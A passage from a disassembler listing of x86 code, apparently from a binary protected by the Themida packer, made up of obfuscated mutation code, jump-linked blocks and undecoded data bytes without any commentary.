7C06h mov [esp], edx push edi mov edi, esp add edi, 4 push 2BC7h mov [esp], esi push ebx mov ebx, 78A12FACh mov esi, ebx pop ebx dec esi xor esi, 639C4F52h jmp loc_554231 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 68240489h, 6B9407C7h, 24440158h, 24048B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_551D61 ; --------------------------------------------------------------------------- dw 8F5Bh dd 248B2404h, 4C68124h, 0E9000000h, 0FFFF847Dh, 61E9D8F7h db 7Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_559A7B: ; CODE XREF: Themida_:00565BAAj inc ebx or ebx, 38C2F20h and ebx, 0AC342CBh push ecx mov ecx, 14F84A4Ch dec ecx add ecx, 0EDC7B7F2h jmp loc_556DCC ; --------------------------------------------------------------------------- dw 0B753h dd 8E7C0CBh, 0BDB05066h, 5866C730h, 0F601C780h, 33EF80DFh dd 0BFF8E9h, 0ED814D00h, 6C1F5E92h, 0E487F581h, 0EF31CA7Eh dd 0A7B8505Dh, 5293B74h, 342DD203h, 48BC731h, 0F4BBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559ADA: ; CODE XREF: Themida_:00558AC8j add ecx, 2105DB0h xor eax, ecx pop ecx push 253Ch mov [esp], edx jmp loc_55517F ; --------------------------------------------------------------------------- loc_559AF0: ; CODE XREF: Themida_:0055F72Cj push ecx jmp loc_55F7DD ; --------------------------------------------------------------------------- dw 0E181h dd 5BC16BC4h, 4F1CBE56h, 9CE9136Eh db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559B07: ; CODE XREF: Themida_:00565A17j sub esi, 2C523480h push edi mov edi, 0AC315D2h or edi, 77802874h jmp loc_556D16 ; --------------------------------------------------------------------------- loc_559B1E: ; CODE XREF: Themida_:005550CFj mov [esp], eax mov eax, 24h sub esp, 4 mov [esp], edx mov edx, 0C412036h jmp loc_55476C ; --------------------------------------------------------------------------- db 5, 83h, 56h dd 0E8014AEEh, 9E84E953h, 5954FFFFh, 4BE56h, 0AFE90000h dd 890000B6h, 0EC81242Ch, 4, 0BA241489h, 5B775BDEh, 306BE281h dd 0DAF76E1Bh, 0E904EAC1h, 474Ch ; --------------------------------------------------------------------------- loc_559B74: ; CODE XREF: Themida_:00560968j add ecx, 7D575255h push eax mov eax, 7B5F539Ch add ecx, eax pop eax add ecx, edx jmp loc_55B532 ; --------------------------------------------------------------------------- dw 0D301h dd 6B46EB81h, 0C3812DE3h, 72BD5FD1h, 8B2434FFh, 0C4812414h dd 4, 7645E953h db 2 dup(0FFh) word_559BAA dw 0EC83h ; DATA XREF: Themida_:00550E60o dd 242C8904h, 0C581E589h, 4, 8704ED83h, 0DFE9242Ch, 1FFFFA4h dd 0E9565AD0h, 7506h, 68E38953h, 656Ch, 50243C89h, 0A03B7C68h dd 0BB535811h, 0FFFFFFFFh, 0C15BD829h, 0F75008E8h, 98E92414h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_559BF3: ; CODE XREF: Themida_:005542D0j xchg edi, [esp] jmp loc_551202 ; --------------------------------------------------------------------------- db 66h dd 0E99CC885h, 0FFFF735Bh, 42474FFh, 24048F5Eh, 0E924248Bh dd 5E7Dh, 0C7815F54h, 4, 8704EF83h, 895C243Ch, 58542404h dd 5BA668h, 24148900h, 128368h, 40CBE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559C3A: ; CODE XREF: Themida_:00551CECj add edi, 2CCDF856h or edx, edi mov edi, [esp] add esp, 4 push ebp mov ebp, 47A93828h inc ebp xor ebp, 68F536E0h xor ebp, 586A2992h jmp loc_55D686 ; --------------------------------------------------------------------------- loc_559C63: ; CODE XREF: Themida_:0055F815j push eax mov eax, 37CC5798h push edi mov edi, 2D4F3A2Eh jmp loc_5554EC ; --------------------------------------------------------------------------- loc_559C74: ; CODE XREF: Themida_:005601B8j add esi, 28E048CEh pop ebp sub ebp, esi pop esi xchg ebp, [esp] pop esp mov [esp], ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx jmp loc_55527D ; --------------------------------------------------------------------------- dw 0F329h dd 0F62D5A5Eh, 175EB7Ah, 7AF605D8h, 295B75EBh, 5F602DC8h dd 0E9591750h, 0FFFF7893h ; --------------------------------------------------------------------------- loc_559CB0: ; CODE XREF: Themida_:0056349Aj pop eax xor edi, 0DB5AA828h add ebp, edi pop edi jmp loc_558B61 ; --------------------------------------------------------------------------- db 52h dd 468h, 0B7685A00h, 89000031h, 8953243Ch, 4C381E3h, 83000000h dd 1C3304EBh, 241C3124h, 5C241C33h, 0BE79E9h db 0 ; --------------------------------------------------------------------------- loc_559CE9: ; CODE XREF: Themida_:00554153j mov ebx, [esp] add esp, 4 jmp loc_55BF8D ; --------------------------------------------------------------------------- dword_559CF4 dd 0E924248Bh, 0FFFF7263h, 5F7DC381h, 1A680216h, 8900004Fh ; DATA XREF: Themida_:00550E40o dd 58E9240Ch, 68FFFFBFh, 5A90h, 68240C89h, 7366h, 707AE9h dd 4C18100h, 0E9000000h, 0B729h, 5254C580h, 33E99CB6h dd 890000AAh, 4C181E1h, 81000000h, 4C1h, 240C8700h, 2319E9h db 0 ; --------------------------------------------------------------------------- loc_559D4D: ; CODE XREF: Themida_:0055B126j push ebx mov bh, al mov dl, bh pop ebx pop eax xor dl, ch pop ecx add bl, 0E0h add bl, 6Eh jmp loc_5602CB ; --------------------------------------------------------------------------- dw 0E8C1h dd 7F3D3506h, 6B2D5960h, 810EC351h, 0DB4566C2h, 81C2010Eh dd 0DB4566EAh, 24048B0Eh, 815A5452h, 4C2h, 0CFA4E900h dd 505AFFFFh, 0B0506CB0h, 0C0750429h, 0AD0406E8h, 0E905E0C0h dd 32ADh, 0B2241489h, 8BD1888Ah, 89562414h, 4C681E6h, 81000000h dd 4C6h, 24348700h, 0FFE1305Ch, 0E9582434h, 0FFFF9CBEh dd 0E951535Ah, 0B0A1h ; --------------------------------------------------------------------------- loc_559DD4: ; CODE XREF: Themida_:0055763Bj add edi, 2C5A79D6h jmp loc_557A77 ; --------------------------------------------------------------------------- db 59h dd 5604C483h, 0B63747BEh, 0F6814E7Eh, 422A3D3Dh, 348BF001h dd 896BE924h, 5056FFFFh, 9B5FC2B8h, 1A410D1Dh, 0BF577C55h dd 5D720872h, 2B9AC781h, 0F829128Eh, 81243C8Bh, 4C4h, 0DD0F700h dd 371A0FE4h, 2D06E8C1h, 0B167B216h, 4658C689h, 4EC81h dd 0E9E90000h, 8700000Ah, 248B2414h, 0C8B6624h, 0E1895124h dd 66F368h, 24148900h, 1C2EDC68h, 24148B54h, 4A04C483h dd 0FFC06CE9h db 0FFh byte_559E61 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00550D90o aHir db '$h┬r',0 align 2 dw 2C89h dd 835D5424h, 348904ECh, 0AE85E924h, 2C87FFFFh, 96E95C24h dd 68FFFF7Bh, 304Bh, 68243489h, 61CE07C3h, 4EC835Eh, 0BB241C89h dd 1F48413Bh, 79B2E9h, 2DE18100h, 0E932EB10h, 0FFFFB2EFh dd 0C3CC581h, 0BB534C29h, 6747C0Dh, 0C106E3C1h, 0CB8104EBh dd 52697635h, 1AFDF381h, 71E92479h db 0CDh, 2 dup(0FFh) byte_559ECF db 0FFh ; DATA XREF: Themida_:00550E6Co dd 34FF2434h, 0C4835824h, 9997E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559EDE: ; CODE XREF: Themida_:0056560Aj mov ebp, 5F111707h mov esi, 0C56146C7h sub esi, 6BB17C71h sub esi, ebp add esi, 6BB17C71h pop ebp sub esi, 66502FBCh add edx, 91176D4h add edx, esi sub edx, 91176D4h push dword ptr [esp] push dword ptr [esp] pop esi jmp loc_55AF96 ; --------------------------------------------------------------------------- loc_559F17: ; CODE XREF: Themida_:005524AFj inc edx add edx, 7B5D4C7Eh jmp loc_563364 ; --------------------------------------------------------------------------- db 1 dd 242C8BEAh, 4C481h, 0E2E90000h db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559F33: ; CODE XREF: Themida_:0055B34Ej and ebx, 77E000Ah push edx mov edx, 5735491Bh or ebx, edx mov edx, [esp] add esp, 4 add ebx, 0FD1D2764h add eax, ebx pop ebx jmp loc_55CCB1 ; --------------------------------------------------------------------------- loc_559F58: ; CODE XREF: Themida_:00565479j mov edx, ebp mov ebp, [esp] jmp loc_560145 ; --------------------------------------------------------------------------- dw 8DB1h dd 8E1CE9h, 243C3100h, 8B243C33h, 3F682424h, 89000039h dd 0E789243Ch, 4C781h, 14E90000h, 89000032h, 0AB68241Ch dd 89000045h, 0C2882414h, 88D48850h, 25DEE9E7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559F9E: ; CODE XREF: Themida_:00565092j add esp, 4 add esi, eax mov eax, [esp] jmp loc_55577C ; --------------------------------------------------------------------------- db 8Fh dd 31E92404h db 0A9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559FB3: ; CODE XREF: Themida_:00553DB4j add dword ptr [esp], 678B76DFh jmp loc_55CAE3 ; --------------------------------------------------------------------------- db 5Ch dd 0BB241C89h, 2, 3B0CE9h, 243C8B00h, 4C481h, 0ED810000h dd 37442ABDh, 7B81F581h, 0C2815776h, 21A5770Ah, 5AE0C281h dd 0D9E90F69h, 88FFFFD1h, 34FF5BFDh, 1F83E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559FFE: ; CODE XREF: Themida_:0055CCE1j or edx, ecx mov ecx, [esp] add esp, 4 jmp loc_56279F ; --------------------------------------------------------------------------- dd offset dword_5407EC+17Ch align 10h dd 68241489h, 579Eh, 68240489h, 4, 0FFC28958h, 34FF2434h dd 24048B24h, 4C481h, 0C4830000h, 0C5A8E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A03A: ; CODE XREF: Themida_:00562B70j add ecx, ebp jmp loc_55D014 ; --------------------------------------------------------------------------- db 88h, 0FCh, 0FFh dd 815B2434h, 4C4h, 0B738E900h, 0D8300000h, 241C8B66h dd 505D5455h, 4B8h, 58C50100h, 26857h, 15F0000h, 48C1E9FDh dd 14F70000h, 24348B24h, 4C481h, 0EEC10000h, 7C7AE903h dd 5ABA0000h, 81364456h, 0F13DDAEAh, 0E9D701C2h, 0FFFFF5D9h dd 6820E681h, 0EE814202h, 18CB324Bh, 2056E9h, 58C63100h dd 46F2E9h db 0 ; --------------------------------------------------------------------------- loc_55A0B1: ; CODE XREF: Themida_:0055950Fj mov edx, 397A21A7h push edi mov edi, 54187421h shr edi, 5 and edi, 0D9D2A7Ch jmp loc_564D78 ; --------------------------------------------------------------------------- loc_55A0CA: ; CODE XREF: Themida_:00555777j xchg ebp, [esp] mov esp, [esp] push eax push 800h push dword ptr [esp] mov eax, [esp] push edi mov edi, esp push ecx mov ecx, 69342C1Ah shl ecx, 2 jmp loc_558A7B ; --------------------------------------------------------------------------- loc_55A0ED: ; CODE XREF: Themida_:00554108j sub edx, 76742B9Ah jmp loc_55CD7B ; --------------------------------------------------------------------------- dd 0E95EF501h, 0FFFFFCFAh, 878FE95Ah, 248BFFFFh, 4896624h dd 0E998B024h, 0E4Dh ; --------------------------------------------------------------------------- loc_55A114: ; CODE XREF: Themida_:00553D02j sub dh, 66h xor bh, dh pop edx jmp loc_55F754 ; --------------------------------------------------------------------------- db 0F7h dd 7D2D40D0h, 29975999h, 8A30E9C7h db 2 dup(0FFh) word_55A12E dw 34FFh ; DATA XREF: Themida_:00550CA0o dd 2434FF24h, 68240C8Bh, 2532h, 0E9240489h, 0FFFFAB4Ch dd 55AD001h, 2, 31240433h, 4332404h, 98DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A15A: ; CODE XREF: Themida_:00557DF8j popa popf retn ; --------------------------------------------------------------------------- db 0E9h, 20h, 0Eh dd 89520000h, 4B850E2h, 1000000h, 66E958C2h, 29000062h dd 348B5AD1h, 8FB8E924h, 0C968FFFFh, 89000014h, 0BA52242Ch dd 310751A8h, 815AD589h, 0CD3921F5h, 0E3685353h, 89000077h dd 0F4BA2414h, 812AB764h, 6AEE37C2h, 5AD38939h, 0A2E1E9h dd 0F4885000h, 0E958E588h, 0B1DFh ; --------------------------------------------------------------------------- loc_55A1BC: ; CODE XREF: Themida_:00558A25j pop edx jmp loc_5654C4 ; --------------------------------------------------------------------------- loc_55A1C2: ; CODE XREF: Themida_:005518D2j push esp jmp loc_5642C6 ; --------------------------------------------------------------------------- loc_55A1C8: ; CODE XREF: Themida_:005512F6j xor ebp, [esp] jmp loc_55C070 ; --------------------------------------------------------------------------- dd 746CC381h, 4DE9244Bh, 66FFFF8Fh, 6F54685Bh, 1C890000h dd 307FB324h, 0B5515BD9h, 4BCD8097h, 6613C580h, 5879E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A1FA: ; CODE XREF: Themida_:0055D8B7j pop ebp jmp loc_5563D4 ; --------------------------------------------------------------------------- aTxrsV db 'TXRИэv',0 align 4 dd 405h, 4E88300h, 583BE9h db 0 ; --------------------------------------------------------------------------- loc_55A215: ; CODE XREF: Themida_:00553BDFj sub edi, 1A687EE5h add edi, ecx jmp loc_565503 ; --------------------------------------------------------------------------- loc_55A222: ; DATA XREF: Themida_:00550EB4o push ebp mov ebp, esp add ebp, 4 push edi mov edi, 4 sub ebp, 684E3E76h sub ebp, edi jmp loc_5512E4 ; --------------------------------------------------------------------------- dw 8355h dd 148904ECh, 45CEE924h, 0BD550000h, 10D448BDh, 52A5C581h dd 4D4D21EDh, 0FFDB16E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A25D: ; CODE XREF: Themida_:00562108j push ebp mov ebp, 7B283499h jmp loc_55C667 ; --------------------------------------------------------------------------- loc_55A268: ; CODE XREF: Themida_:00553C34j mov edx, 50326E02h push ebx mov ebx, 0FFFFFFFFh sub edx, ebx pop ebx jmp loc_55523C ; --------------------------------------------------------------------------- loc_55A27B: ; CODE XREF: Themida_:00562524j add edi, 4 xchg edi, [esp] jmp loc_56083E ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFF9C39h ; --------------------------------------------------------------------------- loc_55A28C: ; CODE XREF: Themida_:00552295j sub esp, 4 mov [esp], eax mov eax, 1 add [esp+4], eax push dword ptr [esp] jmp loc_5543BD ; --------------------------------------------------------------------------- db 8Bh dd 89662424h, 9E92404h db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A2AF: ; CODE XREF: Themida_:0056513Bj xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_5552F1 ; --------------------------------------------------------------------------- loc_55A2BB: ; CODE XREF: Themida_:00563ED7j mov ebp, 4 add ebx, ebp pop ebp xchg ebx, [esp] jmp loc_55419D ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 83000000h, 0FF5104C1h, 0E9042474h, 0FFFFA37Dh ; --------------------------------------------------------------------------- loc_55A2E0: ; CODE XREF: Themida_:0055715Bj pop ebx push eax mov al, ch mov bh, al pop eax pop ecx jmp loc_560FA8 ; --------------------------------------------------------------------------- loc_55A2ED: ; CODE XREF: Themida_:00563625j pop edx xchg edx, ecx inc ecx inc ecx push ebp mov ebp, 2FED070Eh add ecx, 38DA0E07h sub ecx, ebp jmp loc_562659 ; --------------------------------------------------------------------------- loc_55A305: ; CODE XREF: Themida_:0055D08Fj add esp, 4 jmp loc_5585B6 ; --------------------------------------------------------------------------- dd 3F7DC281h, 3BE9678Dh db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A31B: ; CODE XREF: Themida_:00562215j push edx mov edx, 1F42469Bh sub edx, 1F424697h add esi, edx pop edx add esi, 4 jmp loc_558DCE ; --------------------------------------------------------------------------- loc_55A335: ; CODE XREF: Themida_:005623C2j mov eax, edx jmp loc_55265A ; --------------------------------------------------------------------------- dd 0F462E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A342: ; CODE XREF: Themida_:0055B53Ej xor [ecx], eax pop ecx pop eax push esi push 4188h mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], eax jmp loc_56172E ; --------------------------------------------------------------------------- a0Sra db '0ыИR═',0 db 0 ; --------------------------------------------------------------------------- loc_55A375: ; CODE XREF: Themida_:00562743j or eax, eax jz loc_5565D4 sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 push eax mov eax, 4 add esi, 0EFE4A26h sub esi, eax sub esi, 0EFE4A26h pop eax xchg esi, [esp] pop esp jmp loc_560780 ; --------------------------------------------------------------------------- dd 5E08950h, 4, 8704C083h, 83E92404h, 29FFFFA8h, 0E95B241Ch dd 5DF5h, 8324048Bh, 0F78104C4h, 3084000Ch, 1350E981h dd 0F901418Ah, 1350C181h, 0E95F418Ah, 1701h, 48ECB81h dd 0EBC16A99h, 148AE907h, 5C680000h, 5918D073h, 0EC98E941h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A402: ; CODE XREF: Themida_:00554767j dec ebp shl ebp, 3 add ebp, 3F4BD7F9h mov ecx, ebp jmp loc_558AB8 ; --------------------------------------------------------------------------- db 51h dd 0A14EBFB9h, 45C18106h, 0E9F95EB1h, 0A8F4h, 9F5258BBh dd 26E38160h, 5619834Bh, 8341FC68h, 24348B00h, 0FF7634E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A43D: ; CODE XREF: Themida_:0055E506j push 6C3F41F9h pop ebx xor ebx, 4FC7FFCh dec ebx or ebx, 1D2F1AC3h add ebx, 8210C13Dh push edx mov edx, ebx mov ebp, edx jmp loc_562B68 ; --------------------------------------------------------------------------- dd 8704C583h, 815C242Ch, 2C3h, 2D59E900h, 0E9510000h, 0FFFFE262h dd 5D1C6F09h, 0FFD526E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A481: ; CODE XREF: Themida_:005582DFj mov ecx, 4 jmp loc_560D5E ; --------------------------------------------------------------------------- db 8Bh dd 0C4812404h, 4, 0CFBEB951h, 0C8010F12h, 81240C8Bh, 4C4h dd 730CE900h, 248BFFFFh, 24348924h, 956D7C68h, 0F3895E75h dd 8124348Bh, 4C4h, 0A8EB8100h, 5622AD6Fh, 0FE4031BEh dd 66F6815Fh, 293CF767h, 0F3815EF3h, 0D3EBA0FDh, 2565E951h dd 875B0000h, 0D35C2404h, 0E99C240Ch, 6368h, 4C481h, 34FF0000h dd 0C4815B24h, 4, 0E9240C31h, 0FFFF83ADh, 46BD5550h, 0B810A96Eh dd 10A96E4Ah, 15DE829h, 24048BC1h, 4C481h, 80E90000h, 5C000007h dd 81240C89h, 4ECh, 24248900h, 0FFC68DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55A539: ; CODE XREF: Themida_:00557FB4j mov eax, 4A9E4B5Eh inc eax not eax push ebx mov ebx, 4DE74C6Ch sub eax, ebx pop ebx mov edx, eax pop eax jmp loc_557AF5 ; --------------------------------------------------------------------------- dw 5B5Eh dd 705DBB53h, 0EBC14324h, 7E3C103h, 5102EBC1h, 7DA0A8B9h dd 0FFCB3110h, 0E9592434h, 0FFFFE34Ah, 815EF589h, 0E6BCDCEDh dd 5DEF0100h, 686BEF81h, 0C78104FDh, 2A1D23B4h, 0EF81EF01h dd 2A1D23B4h, 686BC781h, 0EF8104FDh, 1EC66BC6h, 8904EC83h dd 6BBB241Ch, 0E9098209h, 0FFFFD41Fh, 3430BB53h, 4481301Dh dd 6FB90824h, 5C294BDEh, 6C810824h, 6FB90824h, 0E95B4BDEh dd 0FFFF8B8Ah ; --------------------------------------------------------------------------- loc_55A5D0: ; CODE XREF: Themida_:005604EEj push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_556BDA ; --------------------------------------------------------------------------- loc_55A5DE: ; CODE XREF: Themida_:005548BCj xor eax, ecx push eax push ecx mov eax, [esp] push ebp mov ebp, esp jmp loc_554B06 ; --------------------------------------------------------------------------- db 0F7h, 0D6h, 87h dd 0BFE381F3h, 0C11FEB39h, 814302E3h, 7F9D7FC3h, 5BDE01DFh dd 9C868h, 240C8900h, 2B9h, 0AEE8100h, 11DA309h, 7AE951CEh dd 68FFFF75h, 17A8h, 1408E9h, 243C8B00h, 4C481h, 0C7810000h dd 4, 0FF6A4FE9h, 4C481FFh, 81000000h, 4121ECE9h, 81D9014Bh dd 4121ECC1h, 0ED88E94Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A656: ; CODE XREF: Themida_:0055FD7Fj mov edi, esp add edi, 4 jmp loc_560C5E ; --------------------------------------------------------------------------- aSoe db ')ы[И╝e',0 db 0 ; --------------------------------------------------------------------------- loc_55A66B: ; CODE XREF: Themida_:0055C219j mov edx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_555FA6 ; --------------------------------------------------------------------------- dd 2474FF57h, 2434FF04h, 0FF2434FFh, 835F2434h, 0AE6804C4h dd 89000003h, 0E9542434h, 16D5h, 4EC81h, 2E90000h, 5300000Ch dd 64D6E9h db 0 ; --------------------------------------------------------------------------- loc_55A6AD: ; CODE XREF: Themida_:0055999Bj push eax jmp loc_561F40 ; --------------------------------------------------------------------------- db 68h dd 31FC776Bh, 5EDC15Dh, 6132E9h db 0 byte_55A6C1 db 8Bh, 4, 24h ; DATA XREF: Themida_:00550EA4o dd 9612E9h, 50E28900h, 4B8h, 58C20100h, 2C281h, 14870000h dd 8F4DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A6E2: ; CODE XREF: Themida_:00551158j xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_553449 ; --------------------------------------------------------------------------- aAXsgl db '(ц─ц=XИ┐╚',0 db 0 ; --------------------------------------------------------------------------- loc_55A6FB: ; CODE XREF: Themida_:00563C32j add esp, 4 mov eax, [esp] jmp loc_557842 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 6609B951h, 0E1810A4Eh, 1753329h, 5D34F181h, 54680E73h dd 0E9000038h, 2C0Bh ; --------------------------------------------------------------------------- loc_55A728: ; CODE XREF: Themida_:0055C989j add edx, 657F196Ch jmp loc_55998B ; --------------------------------------------------------------------------- db 0B8h dd 4, 8758C301h, 55C241Ch, 294D69C2h, 0BE2C9305h, 76AE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A74E: ; CODE XREF: Themida_:005577F6j pop ebp add eax, 51D02C2Eh push dword ptr [eax] mov ecx, [esp] jmp loc_55F01D ; --------------------------------------------------------------------------- dw 0CF01h dd 4EC8359h, 0BA241489h, 41326614h, 3EAC142h, 8FE9DAF7h dd 56FFFFCBh, 5A3834BEh, 9E69E909h, 34FF0000h, 0C4835B24h dd 0E6895604h, 4C681h, 0E6E90000h, 81000077h, 4C4h, 0E0895000h dd 405h, 42D00h, 4870000h, 24248B24h, 0E9241C89h, 0FFFFE220h dd 0EE896656h, 5EF38966h, 9918E95Dh, 34FF0000h, 0D39E924h dd 55660000h, 6CCE9h db 0 ; --------------------------------------------------------------------------- loc_55A7D5: ; CODE XREF: Themida_:00557E95j add esp, 4 sub ebx, esi push dword ptr [esp] pop esi add esp, 4 jmp loc_550F5F ; --------------------------------------------------------------------------- dw 48Bh dd 0D2FFE924h, 0C888FFFFh, 0E7E9F188h, 5D00001Eh, 0E902E6C1h dd 0FFFFA759h ; --------------------------------------------------------------------------- loc_55A800: ; CODE XREF: Themida_:0055D51Cj push 777Fh jmp loc_560822 ; --------------------------------------------------------------------------- dw 3433h dd 0D050E924h, 34FFFFFFh, 0EC815B24h, 4, 4DEE9h db 0 ; --------------------------------------------------------------------------- loc_55A821: ; CODE XREF: Themida_:00556038j shl edi, 6 inc edi or edi, 0ADC02C9h add edi, 6BAE925Ch sub esi, edi pop edi jmp loc_5620E2 ; --------------------------------------------------------------------------- loc_55A839: ; CODE XREF: Themida_:00558D9Cj pop esp jmp loc_55115D ; --------------------------------------------------------------------------- loc_55A83F: ; CODE XREF: Themida_:005592F0j mov edi, 0BDC3B392h xor edx, edi pop edi add ebp, edx mov edx, [esp] push esi mov esi, esp jmp loc_5631B7 ; --------------------------------------------------------------------------- dd 2434FF5Bh, 4C48359h, 1C8BDF31h, 4C48124h, 1000000h dd 2434FFFEh, 0C7D2E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A872: ; CODE XREF: Themida_:005645C4j mov edx, 4 jmp loc_5523CE ; --------------------------------------------------------------------------- dd 5366D000h, 6C0457B3h, 6C2CD828h, 241C8B66h, 2C481h dd 148B0000h, 4C48324h, 0FF8739E9h, 5AD389FFh, 295BDE89h dd 0DFE0E9F3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A8AA: ; CODE XREF: Themida_:00552751j add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] or edx, eax jmp loc_556FEB ; --------------------------------------------------------------------------- dw 4BAh dd 1000000h, 0E8685AD5h, 89000026h, 90682434h, 0E9632338h dd 5E0Ah, 4603E6C1h, 0FEFDF681h, 36E90B1Fh, 8B000058h dd 0C483240Ch, 24048704h, 0D1E9515Ch, 68FFFFC9h, 70D1h dd 54240C89h, 81240C8Bh, 4C4h, 4BE5600h, 0E9000000h, 27E7h dd 0B9240C89h, 63F3B62h, 0DADC181h, 1DE9110Ah, 8000002Eh dd 0CA8887E9h, 5AB6859h, 1C890000h, 8067B724h, 4DE904F7h dd 100009Eh, 0DEED81D5h, 8B293A35h, 0C4812414h, 4, 4C581h dd 2C870000h, 0EC835C24h, 24148904h, 4BAh, 0E9D30100h dd 0A518h, 56D6C281h, 83E9485Ch db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A987: ; CODE XREF: Themida_:0055830Bj mov edx, esp add edx, 4 add edx, 4 jmp loc_55175D ; --------------------------------------------------------------------------- loc_55A99A: ; CODE XREF: Themida_:00552228j push 55E3h jmp loc_5552AB ; --------------------------------------------------------------------------- loc_55A9A4: ; CODE XREF: Themida_:00555EA5j xor ebx, [esp] pop esp push edi push edx mov edx, 37E16AC8h dec edx add edx, 485D2270h jmp loc_5602F4 ; --------------------------------------------------------------------------- byte_55A9BB db 56h ; DATA XREF: Themida_:00550E54o dd 0F655B668h, 109FE972h, 3C310000h, 243C3324h, 2357E95Ch db 2 dup(0) word_55A9D2 dw 8B66h ; DATA XREF: Themida_:00550F10o dd 1682404h, 89000017h, 58542404h, 1AE7E9h db 0 ; --------------------------------------------------------------------------- loc_55A9E5: ; CODE XREF: Themida_:0055D495j mov esi, eax pop eax not esi shl esi, 2 jmp loc_55399E ; --------------------------------------------------------------------------- word_55A9F2 dw 31ADh ; DATA XREF: Themida_:00550D64o dd 165C68D8h, 34890000h, 51CE6824h, 685E7E9Dh, 6391h, 52243C89h dd 679A568h, 24148B5Eh, 4C481h, 0BD550000h, 1, 835DEA01h dd 0C168FFEAh, 0E9000033h, 0FFFF7DD7h ; --------------------------------------------------------------------------- loc_55AA30: ; CODE XREF: Themida_:00555DBCj mov edi, 76E05501h neg edi add edi, 8502AD91h jmp loc_553AB5 ; --------------------------------------------------------------------------- dw 5768h dd 8900006Fh, 0BE56241Ch, 0EA6367Ch, 6AC068h, 0BCDFE900h dd 1C33FFFFh, 89665C24h, 0F8E92404h, 5CFFFF64h, 0FFE701E9h db 0FFh ; --------------------------------------------------------------------------- loc_55AA6D: ; CODE XREF: Themida_:00553912j mov edx, [esp] jmp loc_56322B ; --------------------------------------------------------------------------- db 1, 0C6h, 58h dd 8904EC83h, 2168242Ch, 89000028h, 0D2BA2414h, 56077071h dd 0F589D689h, 8124348Bh, 4C4h, 6AE95A00h, 5F00008Dh, 7E69F12Dh dd 0DDEA8162h, 81466407h, 2F00D2C2h, 81C2013Eh, 2F00D2EAh dd 0DDBE563Eh, 1466407h, 66D0E9F2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AAC6: ; CODE XREF: Themida_:00557B5Ej push 7540h mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] shr dword ptr [esp], cl pushf jmp loc_55D49A ; --------------------------------------------------------------------------- db 8Bh dd 8B662424h, 89502404h, 3286E9E0h, 0C4810000h, 4, 0F70E781h dd 895215AAh, 7769E9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AB0A: ; CODE XREF: Themida_:0055E230j push ecx mov ecx, 293A0DF1h dec ecx shr ecx, 7 xor ecx, 7D3A24CFh push eax mov eax, 175733Eh and eax, 269950D6h sub eax, 0D9DFDEEAh xor ecx, eax pop eax push ebp mov ebp, 5B5921F4h sub ecx, ebp jmp loc_55662D ; --------------------------------------------------------------------------- loc_55AB3A: ; CODE XREF: Themida_:00554CB4j mov al, ch not al mov ch, al pop ax sub ch, 0Bh mov dl, ch pop ecx sub bl, 7Bh sub bl, dl push eax mov ah, 7Bh sub bl, 85h add bl, ah add bl, 85h jmp loc_551550 ; --------------------------------------------------------------------------- db 58h, 87h, 1Ch dd 4015C24h, 4EC8324h, 0E9243C89h, 0FFFFD34Ah ; --------------------------------------------------------------------------- loc_55AB70: ; CODE XREF: Themida_:0055724Ej pop esi xor edi, 5216265Dh push ebp push ebx push edx push 45A1667Ah pop edx add edx, 2548393Fh sub edx, 5FBE1FE0h mov ebx, edx pop edx push ebx pop ebp mov ebx, [esp] add esp, 4 jmp loc_5582A9 ; --------------------------------------------------------------------------- loc_55AB9F: ; CODE XREF: Themida_:0055C3B6j xchg edx, [esp] jmp loc_56335B ; --------------------------------------------------------------------------- db 5Ah dd 24048153h, 62E4064h, 8124048Bh, 4C4h, 40642D00h, 815B062Eh dd 431B69C6h, 23C68172h, 2927E327h, 23EE81C6h, 0E927E327h dd 23A5h, 81F8E959h, 0B0500000h, 0BA11E912h db 2 dup(0FFh) 